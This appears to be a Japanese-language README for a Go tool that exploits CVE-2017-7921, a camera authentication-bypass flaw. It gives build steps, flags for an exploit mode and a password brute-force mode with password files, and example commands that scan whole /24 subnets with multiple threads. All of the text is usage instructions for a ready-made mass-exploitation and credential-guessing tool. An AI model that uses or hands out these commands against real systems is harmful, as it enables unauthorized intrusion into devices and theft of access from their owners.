
git clone https://github.com/MisakaMikato/cve-2017-7921-golang.git
cd cve-2017-7921-golang/src/cve-2017-7921-golang
go build .
cve-2017-7921 [-e] [-b] [--password password] [-t target] [--thread thread] [-timeout time]
オプション:
-b ブルートフォースモデルを使用
-e cve-2017-7921 エクスプロイトモデルを使用
-o string
出力パスを設定します。空の場合は結果が標準出力に出力されます。
-password string
ブルートフォースモデルを使用する場合のパスワード、または 'file:<path>' 形式のパスワードファイルのパスを設定します (デフォルト "12345")
-t string
攻撃対象、ip:port またはファイルパス、例: 127.0.0.1、または 'file:<path>' 形式のターゲットファイルパス
-thread int
同時スレッド数 (デフォルト 1)
-timeout int
この時間経過後に対象を放棄します (デフォルト 5)
'w' を押すと進行状況が表示されます :)
例
cve-2017-7921 -e -t 192.168.1.0/24 --thread 10 -o ./res.txt
cve-2017-7921 -b --password file:./pwds.txt -t 192.168.1.0/24 --thread 10